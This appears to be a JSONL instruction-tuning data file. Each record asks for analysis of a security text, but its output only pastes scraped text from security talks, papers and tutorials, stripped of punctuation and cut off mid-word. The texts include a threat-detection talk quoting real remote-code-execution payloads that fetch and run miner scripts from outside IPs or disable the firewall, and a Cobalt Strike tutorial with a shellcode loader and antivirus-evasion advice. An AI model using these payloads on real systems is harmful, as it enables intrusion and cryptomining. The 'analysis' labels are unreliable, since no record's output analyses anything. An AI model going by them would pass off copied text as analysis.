移覆盖软件应用服务全生命周期安全构建可信理念是至关重要的 本白皮书首先对于研发运营安全进行了概述梳理了全球研发运 营安全现状随后对于信通院牵头搭建的研发运营安全体系进行了说 明归纳了研发运营安全所涉及的关键技术最后结合当前现状总 结了研发运营安全未来的发展趋势并分享了企业组织研发运营安全 优秀实践案例以供参考 参与编写单位 中国信息通信研究院华为技术有限公司深圳市腾讯计算机系 统有限公司阿里云计算有限公司浪潮云信息技术股份公司京东 云计算北京有限公司北京金山云网络技术有限公司深圳华大 生命科学研究院奇安信科技集团股份有限公司杭州默安科技有限 公司新思科技上海有限公司 主要撰稿人 吴江伟栗蔚郭雪耿涛康雪婷徐毅章可镌沈栋 郭铁涛张祖优马松松黄超伍振亮祁景昭朱勇贺进 宋文娣张娜蔡国瑜张鹏程张玉良董国伟周继玲杨国 梁肖率武薛植元 目 录 一研发运营安全概述 ................................................................................................................... 1 一研发层面安全影响深远安全左移势在必行 ........................................................... 1 二覆盖软件应用服务全生命周期的研发运营安全体系 ............................................... 4 二研发运营安全发展现状 ........................................................................................................... 5 一全球研发运营安全市场持续扩大 ............................................................................... 5 二国家及区域性国际组织统筹规划研发运营安全问题 ............................................... 7 三国际标准组织及第三方非盈利组织积极推进研发运营安全共识 ......................... 12 四企业积极探索研发运营安全实践 ............................................................................. 14 五开发模式逐步向敏捷化发展研发运营安全体系随之向敏捷化演进 ................. 19 三研发运营安全关键要素 ......................................................................................................... 21 一覆盖软件应用服务全生命周期的研发运营安全体系 ............................................. 22 二研发运营安全解决方案同步发展 ............................................................................. 31 四研发运营安全发展趋势展望 ................................................................................................. 41 附录研发运营安全优秀实践案例 ....................................................", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCopyright 2003 Avaya Inc. All rights reserved Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions Stack Black Ops Black Hat USA 2003 New Concepts for Network Manipulation Dan Kaminsky, CISSP Copyright 2003 Avaya Inc. All rights reserved 2 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions History: Peace through Superior Firepower History Black Ops of TCP/IP @ Black Hat 2002 Were not getting new networks so if we want new capabilities, we need to find ways of teasing desired (if unexpected) functionality from established systems. Paketto Keiretsu, Nov. 2002 Scanrand High Speed Network Auditor Minewt Userspace NAT Router Linkcat Simple Network Interface Paratrace Parasitic TCP Traceroute Phentropy Zalewskian Entropy Analysis Goal is to bring new tools to the table, keeping with the primary advantage of the defender The defender need not be stealthy. Copyright 2003 Avaya Inc. All rights reserved 3 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions How: Regions of Analysis Regions of Analysis Intersections between layers Layers are never entirely independent -- what happens when redundant data disagrees? Manipulation of assumptions Systems necessarily assume certain things to be always true about their environment, because they usually are. What happens when theyre not? The Human Factor Somebody has to use all this stuff; someone needs to process an increasingly large amount of information. How can this information be compiled into a maximally useful form? Copyright 2003 Avaya Inc. All rights reserved 4 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions LAYER 2: ARP vs. IP Is it possible to acquire a usable IP address on a network that lacks a DHCP server? Classic approach: Sniff fo", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n从数据视角探索安全威胁 阿里云安全工程师 / cdxy whoami 0 cdxy 数据分析 / 威胁感知 异常数据清洗 1 信息穿透模型 2 Nday感知 3 落地思考 4 目录 | Content 异常数据清洗 1 Chapter 1 威胁感知模型基础 异常基线A 异常基线B 复杂模型 异常数据清洗的价值 云环境威胁感知现状 挑战 异常数据清洗价值 百万主机 PB级数据 有限的存储计算资源 以不损失告警为前提 压缩数据量 业务场景复杂 运营资源有限 通用性准确率要求高 理解业务特征 提升告警置信度 代码类日志清洗词法分析 参数类日志清洗字符序列 /index.php?name=cdxy/ / / / / / / / /AAAA// /index.php?name=ring04h/ / / / / / / /AAAADDA/ /index.php?name=/ / / /CAAAAAACAAAAACDCCCAAAAAAC/ Site: URI Path异常 URI Path: Key异常 Key: Value异常 信息穿透模型 2 Chapter 2 威胁检测产品能力对比 检测类产品待解问题 信息穿透模型 高误报 准确率99% 依赖规则安全能力依赖长期规则运营 无规则模型低运营成本 对无危害的PoC探针行为检测能力弱 探针行为预警 对未知漏洞检测能力弱 自动覆盖Nday 仅做入侵发现 发现+回溯 信息穿透模型 案例RCE DRUPAL /?/ q=user/password/ &name[#type]=markup/ &name[#markup]=curl+-s+185.234.218.53/.d/miner1.sh+|+bash/ &name[#post_render][]=passthru// URI 主机用户 父进程 命令 sh/-c/curl/-s/185.234.218.53/.d/miner1.sh/|/bash /usr/sbin/httpd root 案例RCE WEBLOGIC /////////////// ///////////////// C:\\windows\\system32\\cmd.exe/ /c/ powershell.exe/-WindowStyle/Hidden/$P/=// nEW-oBJECT/sYSTEM.nET.wEBcLIENT;$P.DownloadFile('http:// 132.148.150.15:8080/miner.exe',/'C:\\ProgramData\\miner.exe');START/C: \\ProgramData\\miner.exe/ / / / / POST Data 案例RCE STRUTS OGNL (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil @class)).(#ognlUtil.getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()). (#context.setMemberAccess(#dm))))./ (#cmd='cmd//c/netsh/firewall/set/opmode/mode=disable'). (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains ('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','- c',#cmd})).(#p=new/java.lang.ProcessBuilder(#cmds)). (#p.redirectErrorStream(true)).(#process=#p.s", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases mike@schrenk.com Agenda TODAY'S AGENDA DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases mike@schrenk.com Agenda TODAY'S AGENDA Review Basic Review Basic S CREEN S CRAPER S CREEN S CRAPER THEOR THEORY DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases mike@schrenk.com Agenda TODAY'S AGENDA Define what Define what Constitutes a DIFFICULT CAS E DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases mike@schrenk.com Agenda TODAY'S AGENDA Demo some Demo some S CREEN S CRAPER S CREEN S CRAPER TRICKS TRICKS DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases mike@schrenk.com Agenda TODAY'S AGENDA Look at ideas for Look at ideas for LARGE-S CALE LARGE-S CALE DEPLOYMENT DEPLOYMENT DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases mike@schrenk.com Agenda TODAY'S AGENDA S hare a S hare a HEARTWARMING HEARTWARMING MOMENT MOMENT DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases mike@schrenk.com Agenda TODAY'S AGENDA S hare a S hare a HEARTWARMING HEARTWARMING MOMENT MOMENT Featuring CAPTCHAs! DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases mike@schrenk.com Goals of this Talk Gain an understanding of some unusual (useful) web scraping techniques Your not going to walk away form here with ready-made solutions The goal is to expose you to some new ideas that you can apply to your specific situation DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases mike@schrenk.com Goals of this Talk Gain an understanding of some unusual (useful) web scraping techniques Your not going to walk away form here with ready-made solutions The goal is to expose you to some new ideas that you can apply to your specif", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 CVE-2022-36804bitbucket 前台RCE漏洞 Critical severity command injection vulnerability - CVE-OLOO-PTWLQ patch#N patch#O 分析N 分析O 分析猜想 补丁分析 事后诸葛亮 N为什么是%LL O为什么不能命令注只能参数注 P为什么是git archive? EXP Ref 官通告https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center- advisory-2022-08-24-1155489835.html 准备diff下8.3.0 - 8.3.1顺便熟悉下idea diff jar包的流程 https://product-downloads.atlassian.com/software/stash/downloads/atlassian-bitbucket- 8.3.0-x64.bin https://product-downloads.atlassian.com/software/stash/downloads/atlassian-bitbucket- 8.3.1-x64.bin 分析patch发现了两处可疑的点 Critical severity command injection vulnerability - CVE-2022-36804 2 found bitbucket/atlassian-bitbucket-8.3.0-x64/app/WEB-INF/lib/nuprocess-2.0. 2-atlassian-3.jar!/com/zaxxer/nuprocess/NuProcessBuilder.class the patch#1 is like: patch#1 3 新加了个法 ensureNoNullCharacters command.indexOf(0)查找command有没有 \\u0000 这个字符 如果有就直接抛异常 Commands may not contain null characters poc可加下 这个提示值 全量补丁在下 this.ensureNoNullCharacters(commands); 1 Plain Text 复制代码 private void ensureNoNullCharacters(List commands) { Iterator var2 = commands.iterator(); String command; do { if (!var2.hasNext()) { return; } command = (String)var2.next(); } while(command.indexOf(0) < 0); throw new IllegalArgumentException(\"Commands may not contain null char acters\"); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 Java 复制代码 4 public class NuProcessBuilder { private static final NuProcessFactory factory; private final List command; private final TreeMap environment; private Path cwd; private NuProcessHandler processListener; public NuProcessBuilder(List commands, Map env ironment) { if (commands != null && !commands.isEmpty()) { this.ensureNoNullCharacters(commands); //patch this.environment = new TreeMap(environment); this.command = new ArrayList(commands); } else { throw new IllegalArgumentException(\"List of commands may not b e null or empty\"); } } public NuProcessBuilder(List commands) { if (com", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# 0x00 Listeners介绍 在本版本Cobalt Strike 3.12中 提供了如图 8种Listeners(监听器) ![Cobalt Strike ](./img/2.1.png) >windows/beacon_dns/reverse_dns_txt windows/beacon_dns/reverse_http windows/beacon_http/reverse_http windows/beacon_https/reverse_https windows/beacon_smb/bind_pipe windows/foreign/reverse_http windows/foreign/reverse_https windows/foreign/reverse_tcp * beacon_x 系列为Cobalt Strike 自身包括dns,http,https,smb四种方式的监听器 * foreign 系列为外部监听器 通常与MSF或者Armitage联动 值得一提是在Cobalt Strike 3.13版本增加了一个新的Listeners(windows/beacon_tcp/bind_tcp) 它支持linuxSSH会话本文不使用3.13版本具体更新内容可以观看[官网](https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/) # 0x01 创建一个服务 创建一个服务首先配置一个监听器 本文介绍http(https) ![Cobalt Strike ](./img/2.2.png) 选择 Packages>Windows Executable ![Cobalt Strike ](./img/2.3.png) 其中可以生成 EXE,DLL 32位系统或者64位但是大多数我们生成Payload来做免杀 ![Cobalt Strike ](./img/2.4.png) 上线成功 在 Event Log处 出现上线信息 一个团队当然离不开交流 当你在Event Log直接输出内容后 全团队可见 输入`/msg name xxx` 给指定用户 # 0x02 Beacon 右键目标`interact`来使用`Beacon`我们用它来执行各种命令在第一课已经讲到 `help` 获得所有命令及其简介 `help 具体命令` 来获得详细用法在Cobalt Strike中它的心跳默认是60s 这会让我们执行的命令响应很慢在下载文件面前更为明显所以我在测试时会把时间降低一点 大家可以根据实战环境来调节建议不要太快不然流量会相对明显 ![Cobalt Strike ](./img/2.5.png) 在这里我`sleep 5` 同时介绍在beacon中 如果想对目标进行命令管理 需要在前面加上shell 如`shell whoami` 非常简单 # 0x03 Payload Generator 用 Packages>Windows Executable生成的服务很容易被AV干掉所以我们一般生成shellcode 然后自己写个加载器加载 打开Packages>Payload Generator ![Cobalt Strike ](./img/2.6.png) 不得不说Cobalt Strike非常温馨给我们提供了各个语言的Payload 后期我们讲会讲到如何运用Payload来做一些简单的免杀这里我们使用 C语言来写一个简单的加载器运行我们的Payload C语言写这些确实很简单 * 用到的编译器是vc++6.0 ``` #include #include #pragma comment(linker,\"/subsystem:\\\"windows\\\" /entry:\\\"mainCRTStartup\\\"\") unsigned char shellcode[] = \"\\xfc\\xe8\\x89\\x00\\x00\\x00\\x60\\x89\\xe5\\x31\\xd2\\x64\\x8b\\x52\\x30\\x8b\" \"\\x52\\x0c\\x8b\\x52\\x14\\x8b\\x72\\x28\\x0f\\xb7\\x4a\\x26\\x31\\xff\\x31\\xc0\" \"\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\xc1\\xcf\\x0d\\x01\\xc7\\xe2\\xf0\\x52\\x57\"; void main() { ((void(*)(void))&shellcode)(); } ``` 编译记得使用Release模式而不是Debug 生成其中shellcode加载器方法来自于网络后期关于免杀将会讲到其他本文顺带将一下", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n.TH IP 7 \"1999年5月11日\" \"Linux 手册页\" \"Linux 程序员手册\" .SH NAME (名称) ip \\- Linux IPv4 协议实现 .SH SYNOPSIS(总览) .B #include .br .B #include .sp .IB tcp_socket \" = socket(PF_INET, SOCK_STREAM, 0);\" .br .IB raw_socket \" = socket(PF_INET, SOCK_RAW, \" protocol \");\" .br .IB udp_socket \" = socket(PF_INET, SOCK_DGRAM, \" protocol \");\" .SH DESCRIPTION(描述) Linux 实现描述于 RFC791 和 RFC1122 中的 Internet 协议,版本4. .B ip 包括遵循 RFC1112 的第二层的多信道广播技术的实现.它也包括含包过滤器的IP路由器. .\\\" XXX:有没有人验证了2.1确实是与1812兼容的? .PP 程序员的接口与 BSD 的套接字(socket)兼容 要获得关于套接字的更多信息,参见 .BR socket (7) .PP 创建一个IP套接字是通过以 .BR \"socket(PF_INET, socket_type, protocol)\" 方式调用 .BR socket (2) 函数来实现的 有效的套接字类型socket_type有 .B SOCK_STREAM 用来打开一个 .BR tcp (7) 套接字 .B SOCK_DGRAM 用来打开一个 .BR udp (7) 套接字或者是 .B SOCK_RAW 用来打开一个 .BR raw (7) 套接字用来直接访问 IP 协议 .I protocol 指的是要接收或者发送出去的包含在 IP 头标识(header)中的 IP 协议 对于TCP套接字而言,唯一的有效 .I protocol 值是 .B 0 和 .B IPPROTO_TCP 对于UDP套接字而言,唯一的有效 .I protocol 值是 .B 0 和 .B IPPROTO_UDP. 而对于 .B SOCK_RAW 你可以指定一个在 RFC1700 中定义的有效 IANA IP 协议代码来赋值. .PP .\\\" XXX ip当前在监听中会自动绑定,但是我不能确定这是否应该列在文档中 当一个进程希望接受新的来访包或者连接时,它应该使用 .BR bind (2) 绑定一个套接字到一个本地接口地址 任意给定的本地(地址,端口)对只能绑定一个IP套接字 当调用 bind 时中声明了 .B INADDR_ANY 时,套接字将会绑定到 .I 所有 本地接口当在未绑定的套接字上调用 .BR listen (2) 或者 .BR connect (2) 时,套接字会自动绑定到一个本地地址设置为 .BR INADDR_ANY 的随机的空闲端口上 除非你设置了 .B S0_REUSEADDR 标识否则一个已绑定的 TCP 本地套接字地址在关闭后的一段时间内不可用 使用该标识的时候要小心因为它会使 TCP 变得不可靠 .SH ADDRESS FORMAT(地址格式) 一个 IP 套接字地址定义为一个 IP 接口地址和一个端口号的组合 基本 IP 协议不会提供端口号,它们通过更高层次的协议如 .BR udp (7) 和 .BR tcp (7) 来实现 对于raw套接字 .B sin_port 设置为IP协议 .PP .RS .nf .ta 4n 19n 31n struct sockaddr_in { sa_family_t sin_family; /* 地址族: AF_INET */ u_int16_t sin_port; /* 按网络字节次序的端口 */ struct in_addr sin_addr; /* internet地址 */ }; /* Internet地址. */ struct in_addr { u_int32_t s_addr; /* 按网络字节次序的地址 */ }; .ta .fi .RE .PP .I sin_family 总是设置为 .BR AF_INET . 这是必需的在 Linux 2.2 中如果该设置缺失大多数联网函数会返回 .B EINVAL .I sin_port 包含按网络字节排序的端口号端口号在1024以下的称为 .IR \"保留端口\" 只有那些有效用户标识为 0 或者 .B CAP_NET_BIND_SERVICE 有功能的进程才可以 .BR bind (2) 到这些套接字注意原始的rawIPv4协议没有这", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nThe core problem with authentication and how we can overcome it Jason M. Pittman Were goin deep, son! Deep philosophically that is Tools, who needs em 8.75 of 10 zombies do recommend brains anyway Modern (current) authentication Passwords specifically Extends to all types however Current authentication research The theoretical flaws Examples Future Authentication One authentication to rule them all Theoretical implementation Examples Possible security threats in this future Research questions: Why is modern authentication full of fail? Why arent researchers addressing this? Research purpose & goals Develop a theoretical approach for future authentication Authentication is ubiquitous Authentication is integrated into modern, digital life The Singularity may be near Or it might not and we still need to address the core problem Authentication Today Authentication Primer Authentication is: Something you know Something you have Something you are Something + Something And maybe + another Something Ask yourself, is there a (a priori) difference between all these? Passwords are the best example High Usage (user base) High Penetration (most common form of authentication) Easy to conceptualize Keep in mind what were going to talk about applies to ALL forms of authentication! How long have computing systems relied on authentication, specifically passwords? 1961 MIT CTSS 1978 Morris invents crypt(3) Two trend defining moments: Transition from single user systems to networked operating systems Explosion of authentication as a consequence of the Web 2.0/Digital era. How many of us have more than 1 password? More than 3 passwords? Hands? More than 5 passwords? Hands? More than 9 passwords? Hands? SafeNet/Rainbow Technologies Survey (2003) says: 1 -2 passwords 17.7% 3-4 passwords 34.4% 5-6 passwords 18.4% 7-8 passwords 5.6% 8 or more 23.9% Florencio & Herley (2007) demonstrated that users type a password ~8 times a day The sa", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nUFOs and Government: A Historical Inquiry What a UFO is not. What a UFO ... is. The modern era of UFOs begins in the 1940s. It begins with \"foo fighters\" over Germany and Japan in 1944. Military pilots reported objects like these: Date: September 25, 1947 From: Lt. General Nathan Twining To: Commanding General of the Army Air Forces; Brig. General George Schulgen Subject: Air Materiel Command Opinion Concerning \"Flying Discs\" ... It is the opinion that: a. The phenomenon reported is something real and not visionary or fictitious. b. There are objects probably approximating the shape of a disc. Of such appreciable size as to appear to be as large as man-made aircraft. c. The reported operating characteristics such as extreme rates of climb, maneuverability, and action which must be considered evasive when sighted by friendly aircraft and radar ...\" Congressman Lyndon B. Johnson inquired about the discs and was told: \"The Army Air Force is conducting an investigation of the alleged 'flying discs.' Detailed statements of credible witnesses are being carefully reviewed.\" Which they were. The US Air Force responds with PROJECT SIGN in 1948. Three hypotheses are considered (Russian? American? Extraterrestrial?) and the first two are rejected. That hypothesis is rejected at the top and knocked back down. But UFO reports don't stop and the USAF tries again - with PROJECT GRUDGE IN 1949. Press releases will conform to the following policy: \"\"We have investigated and evaluated ________ and have found nothing of value which would change our previous estimates on this subject.\" Some become unhappy with the lack of a serious effort and forthrightness, e.g. Chief of AF Intelligence General Charles Cabell who said to Pentagon officers: \"What do I have to do to stir up action? Anyone can see that we do not have a satisfactory answer to the saucer question....I want the answer to the saucers and I want a good answer.\" June 1952. Orders are issued to fire ... on a mirage? on a halluc", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nPaz Hameiri TEMPEST radio station About myself System engineer M.Sc. in Electro-Optical Engineering Six years of experience with telecommunication systems design and circuits DEF CON 25 / Inbar and Eden / From \"One Country - One Floppy\" to \"Startup Nation\" - the story of the early days of the Israeli hacking community, and the journey towards today's vibrant startup scene Wrote The Message Sticker when I was a teenager About TEMPEST TEMPEST is a U.S. NSA specification and a NATO certification The acronym refers to information leakage from a system through unintentional radio signals, audio signals, electrical signals, etc In 1985, Wim van Eck published the first unclassified analysis of the security risks of information leakage from computer monitors Government researchers were already aware of the danger TEMPEST radio station ?!?! I read TEMPEST@Home - Finding Radio Frequency Side Channels by Davidov & Oldenburg I bought an SDR receiver and studied the electromagnetic emissions generated by my laptop I wondered: How far can I transmit data using these emissions? Is it possible to transmit audio in real-time? How hard can it be? TEMPEST radio goals Tunable frequency: Receive signals from a specific computer when several computers in the area are active Select a bandwidth with as little interference as possible, to improve the signal to noise ratio Maximum bit rate, to maximize audio quality Innocent looking software, to avoid detection Maximum distance Radio waves crash course Transmission: Electromagnetic radiation is propagated from a conducting object, conducting time-varying electric current Reception: Electromagnetic radiation around a conducting object generate time-varying electric current Conductor i On-Off Keying crash course On-Off Keying (OOK) data modulation represents digital data as the presence or absence of a transmitted wave Example: Morse code time Energy Symbol n Symbol n+1 Symbol n+2 Data transmission using GDDR 1 The GPU", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\napache proxy 0x00 apacheoverviewhttps://t.zsxq.com/ubm2rVf p apachhttps://t.zsxq.com/rBmaU7a hookhttps://www.anquanke.com/post/id/257539 0x01 p vscodec/c++ubuntuapache hook [root@centos httpd-2.2.23-worker]# export SHOW_HOOKS=1 [root@centos httpd-2.2.23-worker]# ./bin/httpd -k start Registering hooks for core.c Hooked create_connection Hooked pre_connection Hooked post_config Hooked translate_name Hooked map_to_storage Hooked open_logs Hooked child_init Hooked handler httpdhook mod_infohook http://httpd.apache.org/docs/2.2/mod/mod_info.html httpd.conf LoadModule info_module modules/mod_info.so SetHandler server-info Deny from all Allow from all http://host/server-info 0x02 mod_proxy.c33933450 AP_DECLARE_MODULE proxy APR_HOOK_STRUCT \"namespace\"_hook_\"hookname\"hook proxy_hook_scheme_handler proxy_hook_canon_handler proxy_hook_pre_request proxy_hook_post_request proxy_hook_request_status proxy_hook_check_trans proxy_run_*proxy_hook_get_* ap_hook_scheme_handlerhookproxy.cmod_proxy_http.c proxyhookproxy_hook_scheme_handlerproxy_hook_canon_handler APR_IMPLEMENT run_firstrun_allrun_first apacheok run_allfirstOKDECLINED proxy_hook_scheme_handlerproxy_hook_canon_handlerrun_first. 0x03 ap_hook_handler", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n2018 Gigamon. All rights reserved. 1 可视及赋能 Gigamon助力构建现代网络多层次可视及安全 Gigamon / 英国技盟 技术经理 顾威 180 1600 0621 2017-2020 Gigamon Inc. All rights reserved. 1 2018 Gigamon. All rights reserved. 2 公司简介 分 支 机 构 20 国家 客 户 行 业 公共服务 | 金融服务 医疗健康 | 零售业 高科技 | 运营商 市 场 地 位 NGNPB 市场开拓及领导者 市场份额第一 专 利 66 世界专利 客 户 3,200 +客户 83% 财富100 雇 员 1000 雇员 C E O Paul Hooper 创 立 成 立 于 2004 *Feb 2018: Offices, employee and patent information **Q1 2018: Customer count 五位华人 可 视 化 -网 络 架 构 中 的 重 要 元 素 Gigamon提供对物理虚拟和云网络的前所未有的可视化并且被广泛应用 Gigamon正在引领网络和安全的融合 我们的解决方案有助于使安全威胁更加容 易被识别让您更灵活地部署资源并最大化提升工具效能增加投资回报. 全 面 可 视 灵 活 资 源 部 署 工 具 效 能 最 大 化 投 资 回 报 2018 Gigamon. All rights reserved. 3 连续6年网络可视化市场份额全球 #1 IHS Markit: Gigamon is the 2018 Market Share Leader Source: IHS Markit: Network Monitoring Equipment Annual Market Report, 9 August 2019 by Matthias Machowinski 38% 2019年市场份额 市场份额第一 21% 2018年市场份额 超出排名第二的竞争2倍 IHS报告指出从2013年以来Gigamon一直保持 市场占有率第一位2018年Gigamon收入保持平稳 市场占有率36%继续领先第二位21% Get a copy of the IHS report here. 2018 Gigamon. All rights reserved. 4 Gigamon中国区部分客户 2018 Gigamon. All rights reserved. 5 全新安全架构 - 对安全设备的流量编排 2018 Gigamon. All rights reserved. 6 为什么需要下一代互联网出口架构 1. 众多的串联设备带来众多的故障点 2. 安全设备的升级维护需要中断网络 3. 增加或删除设备需要中断网络 4. 任一设备出现瓶颈可能引起网络中断 5. 出口设备的故障排查非常复杂 6. 高带宽的网络骨干很难部署安全产品 7. SSL加密流量带来安全产品性能和网络整体 安全性的问题 Si Si Si Si 防火墙1 Switch x 2 入侵防御 器1 WAF1 防火墙2 入侵防御 器2 WAF2 2018 Gigamon. All rights reserved. 7 二 层 安 全 设 备 典 型 的 串 接 部 署 痛点 部署复杂效率低 单点故障点多 工具效率低 缺乏安全部署的灵活性 故障排查困难 下一代边界安全架构: 串联旁路 (Inline Bypass) 物理定义 vs 软件策略定义 - 安全服务架构 最大限度发挥安全工具的性能 灵活的流量策略 提升安全工具监控效率 简化inline链接架构 在串联链路上增加移除维护安全产品更加 简便 减少增加安全工具带来的多故障点 将多安全工具的多点故障变为单一故障点并 通过硬件bypass来解决 提供串联并联监控 一体的解决方案 提供SSL硬件解密 T1 T2 T3 T3 T3 T1 T2 Inline Bypass T3 T3 T3 2018 Gigamon. All rights reserved. 8 应用场景1 串接性能面临挑战 安全工具需要检查所有通过流量 安全工具接口带宽线速处理性能 业务促销带来流量瞬间突发 Gigamon 解决方案 对流量进行按工具类型进行编排 不需要的流量不发送至工具 WAF 仅收到基于http类型的应用 性能优化-按工具需求编排流量 云应用 ERP 交易数据 IM Webex SQL 远程办公 Web 视频会议 Zoom 统一通信 邮件办公 2018 Gigamon. All rights reserved. 9 Traffic flows In", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Agent Man Category: Mobile, 200 Points ## Description > > --- TRANSMISSION START--- > > Special Agent; > ... > Exciting news! > > The wire is bustling with chatter about 'little green men' and how they were able to make their presence felt across the globe. > > Your mission is to locate the group and find a way to uncover their secrets. > > Attached is a sample gathered by our brave field-agents, best of luck; > > --- TRANSMISSION END --- An apk was attached. ## Solution Let's extract the APK: ```console root@kali:/media/sf_CTFs/matrix/Agent_Man# ~/utils/jadx/build/jadx/bin/jadx -d output agentman.apk INFO - loading ... INFO - processing ... ERROR - finished with errors, count: 1 ``` We get lots of files, but the interesting ones are here: ```console root@kali:/media/sf_CTFs/matrix/Agent_Man/output/sources/com/jagent# tree . javaagent BuildConfig.java DownloadFile.java MainActivity.java R.java 1 directory, 4 files ``` `MainActivity.java` contains: ```java package com.jagent.javaagent; import android.os.Bundle; import android.widget.TextView; import androidx.appcompat.app.AppCompatActivity; public class MainActivity extends AppCompatActivity { public native String agentMan(String str); static { System.loadLibrary(\"agent\"); } /* access modifiers changed from: protected */ @Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity public void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView(R.layout.activity_main); TextView textView = (TextView) findViewById(R.id.mainText); String str = new DownloadFile().get(\"https://ctfroom.matrixcyberlabs.com/agent\"); if (str.isEmpty()) { textView.setText(agentMan(null)); } else { textView.setText(agentMan(str)); } } } ``` The main function downloads a file from a remote server, then calls `agentMan` and sets the text on the screen based on the return value of this function. `Downl", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Heap Flags ## 关于Heap flags `Heap flags`包含有两个与`NtGlobalFlag`一起初始化的标志: `Flags`和`ForceFlags`. 这两个字段的值不仅会受调试器的影响, 还会由windows版本而不同, 字段的位置也取决于windows的版本. * Flags字段: * 在32位Windows NT, Windows 2000和Windows XP中, `Flags`位于堆的`0x0C`偏移处. 在32位Windows Vista及更新的系统中, 它位于`0x40`偏移处. * 在64位Windows XP中, `Flags`字段位于堆的`0x14`偏移处, 而在64位Windows Vista及更新的系统中, 它则是位于`0x70`偏移处. * ForceFlags字段: * 在32位Windows NT, Windows 2000和Windows XP中, `ForceFlags`位于堆的`0x10`偏移处. 在32位Windows Vista及更新的系统中, 它位于`0x44`偏移处. * 在64位Windows XP中, `ForceFlags`字段位于堆的`0x18`偏移处, 而在64位Windows Vista及更新的系统中, 它则是位于`0x74`偏移处. 在所有版本的Windows中, `Flags`字段的值正常情况都设为`HEAP_GROWABLE(2)`, 而`ForceFlags`字段正常情况都设为`0`. 然而对于一个32位进程(64位程序不会有此困扰), 这两个默认值, 都取决于它的宿主进程(host process)的[`subsystem`](https://msdn.microsoft.com/en-us/library/ms933120.aspx)版本(这里不是指所说的比如win10的linux子系统). 只有当`subsystem`在`3.51`及更高的版本, 字段的默认值才如前所述. 如果是在`3.10-3.50`版本之间, 则两个字段的`HEAP_CREATE_ALIGN_16 (0x10000)`都会被设置. 如果版本低于`3.10`, 那么这个程序文件就根本不会被运行. 如果某操作将`Flags`和`ForgeFlags`字段的值分别设为`2`和`0`, 但是却未对`subsystem`版本进行检查, 那么就可以表明该动作是为了隐藏调试器而进行的. 当调试器存在时, 在`Windows NT`, `Windows 2000`和32位`Windows XP`系统下, `Flags`字段会设置以下标志: ``` c HEAP_GROWABLE (2) HEAP_TAIL_CHECKING_ENABLED (0x20) HEAP_FREE_CHECKING_ENABLED (0x40) HEAP_SKIP_VALIDATION_CHECKS (0x10000000) HEAP_VALIDATE_PARAMETERS_ENABLED (0x40000000) ``` 在64位`Windows XP`系统, `Windows Vista`及更新的系统版本, `Flags`字段则会设置以下标志(少了`HEAP_SKIP_VALIDATION_CHECKS (0x10000000)`): ``` c HEAP_GROWABLE (2) HEAP_TAIL_CHECKING_ENABLED (0x20) HEAP_FREE_CHECKING_ENABLED (0x40) HEAP_VALIDATE_PARAMETERS_ENABLED (0x40000000) ``` 而对于`ForgeFlags`字段, 正常情况则会设置以下标志: ``` c HEAP_TAIL_CHECKING_ENABLED (0x20) HEAP_FREE_CHECKING_ENABLED (0x40) HEAP_VALIDATE_PARAMETERS_ENABLED (0x40000000) ``` 因为`NtGlobalFlag`标志的关系, `heap`也会设置一些标志位 * 